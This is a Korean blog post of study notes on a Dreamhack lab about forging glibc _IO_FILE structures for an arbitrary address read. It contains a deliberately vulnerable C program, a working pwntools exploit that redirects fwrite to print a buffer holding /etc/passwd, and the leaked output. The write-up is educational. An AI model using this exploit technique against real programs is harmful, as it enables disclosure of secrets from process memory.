[Dreamhack] Exploit Tech: _IO_FILE Arbitrary Address Read

#코딩노예#·2022년 8월 5일
0

Dreamhack - System Hacking

목록 보기
47/49

들어가며

임의 주소 읽기 실습 예제

// Name: iofile_aar
// gcc -o iofile_aar iofile_aar.c -no-pie 

#include <stdio.h>
#include <unistd.h>
#include <string.h>

char account_buf[1024];
FILE *fp;
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int read_account() {
	FILE *fp;
	fp = fopen("/etc/passwd", "r");
	fread(account_buf, sizeof(char), sizeof(account_buf), fp);
	fclose(fp);
}

int main() {
  const char *data = "TEST FILE!";
  
  init();
  read_account();
  
  fp = fopen("testfile", "w");
  
  printf("Data: ");
  
  read(0, fp, 300);
  
  fwrite(data, sizeof(char), sizeof(account_buf), fp);
  fclose(fp);
}


파일 쓰기 함수 분석

파일 쓰기 과정

파일에 데이터를 쓰기 위한 함수는 대표적으로 fwrite, fputs가 있습니다. 해당 함수는 라이브러리 내부에서 _IO_sputn 함수를 호출합니다.

_IO_new_file_xsputn 함수

#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)

_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
  ...
  if (to_do + must_flush > 0)
    {
      _IO_size_t block_size, do_write;
      /* Next flush the (full) buffer. */
      if (_IO_OVERFLOW (f, EOF) == EOF)

코드를 봐보면 해당 함수는 _IO_XSPUTN 함수의 매크로이며 _IO_new_file_xsputn 함수를 실행합니다. 이 함수에서는 파일 함수로 전달된 인자인 데이터와 길이를 검사하고 _IO_OVERFLOW, 즉 _IO_new_file_overflow 함수를 호출합니다.

파일에 내용을 쓰는 과정은 _IO_new_file_overflow를 시작으로 다양한 함수가 호출되면서 이뤄집니다.


_IO_new_file_overflow

_IO_new_file_overflow와 _IO_new_do_write 함수

int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
  {
    f->_flags |= _IO_ERR_SEEN;
    __set_errno (EBADF);
    return EOF;
  }
  ...
  if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base,
			 f->_IO_write_ptr - f->_IO_write_base);
}

int
_IO_new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
  return (to_do == 0
	  || (_IO_size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}
libc_hidden_ver (_IO_new_do_write, _IO_do_write)

코드를 살펴보면 _IO_new_file_overflow 함수 내부에서는 파일 포인터의 _flags 변수에 쓰기 권한이 부여되어 있는지를 확인하고 해당 함수의 인자로 전달된 ch가 EOF라면 _IO_do_write 함수를 호출합니다.

_IO_do_write 함수는 내부적으로 new_do_write 함수를 호출합니다.


new_do_write

플래그 검사

파일을 쓰기에 앞서 파일 포인터의 _flags 변수에 _IO_IS_APPENDING 플래그가 포함되어 있는지 확인합니다.

_IO_SYSWRITE 호출

new_do_write 함수의 인자인 파일 포인터와 data, 그리고 to_do를 인자로 _IO_SYSWRITE 함수를 호출하는데 이는 곧 vtable의 _IO_new_file_write 함수입니다.

#define _IO_SYSWRITE(FP, DATA, LEN) JUMP2 (__write, FP, DATA, LEN)

_IO_new_file_write

_IO_new_file_write 함수 내부에서는 write 시스템 콜을 사용해 파일에 데이터를 작성합니다. 시스템 콜의 인자로 파일 구조체에서 파일 디스크립터를 나타내는 _fileno, _IO_write_base인 data, 그리고 _IO_write_ptr - _IO_write_base로 연산된 to_do 변수가 전달됩니다.

write(f->_fileno, _IO_write_base, _IO_write_ptr - _IO_write_base);


분석

보호 기법

$ checksec iofile_aar
[*] '/home/ion/dreamhack/_IO_FILE_Arbitrary_Address_Read/iofile_aar'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

코드 분석

  • "/etc/passwd" 파일을 읽고, 전역 변수 account_buf에 저장합니다.
  • "testfile" 파일을 읽기 모드로 열고, 파일 포인터에 300 바이트 만큼의 값을 입력할 수 있습니다. 이를 통해 _IO_FILE 구조체를 조작할 수 있습니다.
  • 파일 포인터를 덮어쓰고나면 "testfile" 파일에 "TEST FILE!" 문자열을 작성하고 프로그램을 종료합니다.


익스플로잇

익스플로잇 설계

익스플로잇 목표

fwrite 함수에서 참조하는 파일 구조체를 조작해 read_account 함수에서 읽은 account_buf의 내용을 흭득하는 것

1. 파일 구조체 조작

임의 주소의 값을 읽기 위해서는 먼저 _flags 변수를 조작해야 합니다. 파일 쓰기에 필요한 권한은 _IO_IS_APPENDING으로, _flags 변수를 매직 값인 0xfbad0000과 0x800을 포함한 값으로 변경합니다.

_flags 변수를 조건에 만족하는 값으로 변경했다면 임의 주소의 값을 읽기 위해 _IO_write_ptr과 _IO_write_base를 조작해야 합니다. 이후 파일에 데이터를 작성할 때 아래와 같은 코드가 실행되므로, _IO_write_base를 account_buf의 주소로 조작하고, _IO_write_ptr을 account_buf 주소에 1024를 더한 값으로 조작합니다. 그리고 파일에 데이터를 쓰는 것이 아닌 프로그램에서 출력하게끔 하기 위해 fileno 즉, 파일 디스크립터를 stdout을 나타내는 1로 덮어쓰면 됩니다.

write(f->_fileno, _IO_write_base, _IO_write_ptr - _IO_write_base);

파일 구조체 조작

# _flags 변수에 _IO_MAGIC과 _IO_IS_APPENDING 비트를 포함한 값을 입력
payload = p64(0xfbad0000 | 0x800)
# "etc/passwd"의 내용이 저장된 account_buf의 데이터를 1024바이트 만큼 출력
payload += p64(account_buf) # _IO_write_base 
payload += p64(account_buf + 1024) # _IO_write_ptr 
# 표준 출력을 사용해 해당 내용 출력
payload += p64(1) # stdout
new_do_write 함수 내에서 lseek 시스템 콜이 호출되지 않도록 하기 위함
payload += p64(account_buf) # _IO_read_end

익스플로잇 코드

# Name: iofile_aar.py

from pwn import *
p = process("./iofile_aar")
elf = ELF('./iofile_aar')

account_buf = elf.symbols['account_buf']

payload = p64(0xfbad0000 | 0x800)
payload += p64(0) # _IO_read_ptr
payload += p64(account_buf) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(account_buf) # _IO_write_base 
payload += p64(account_buf + 1024) # _IO_write_ptr 
payload += p64(0) # _IO_write_end 
payload += p64(0) # _IO_buf_base
payload += p64(0) # _IO_buf_end
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0) 
payload += p64(1) # stdout

p.sendlineafter("Data: ", payload)
p.interactive()
$ python3 exploit.py 
[+] Starting local process './iofile_aar': pid 2547
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/tmp/iofile_aar'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Switching to interactive mode
[*] Process './iofile_aar' stopped with exit code 0 (pid 2547)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systeTEST FILE!\x00\x00estfile\x00ata: \x00\x1b\x03L\x00\x00\x00\x00\xfc\xff\xff\xa8\x00\xfd\xff\xffh\x00\xfd\xff\xff\x94\x00\xfe\xff\xff\xd0\x00Z\xfe\xff\xff\xf0\xa5\xfe\xff\xff\x10\x00P\xff\xff\xff0\x00\xc0\xff\xff\xffx\x00\x00\x00\x14\x00\x00\x00zR\x00x\x10\x1b\x0\x90\x07\x10\x00\x1c\x00\xc0\xfc\xff\xff+\x00\x00\x00\x00\x00\x00\x00\x00zR\x00x\x10\x1b\x0\x90\x00\x10\x00\x1c\x00\xc4\xfc\xff\xff\x00\x00\x00\x00\x00\x00\\x06\x9c\x0\x00D\x00\x00\x00\x00\xfe\xff\xffe\x00\x00B\x0e\x8fB\x0e\x8e\x03\x0e\x8d\x04\x0e\x8c\x05\x0e\x86\x06\x0e\x83\x07\x0er\x0eA\x0eA\x0

0개의 댓글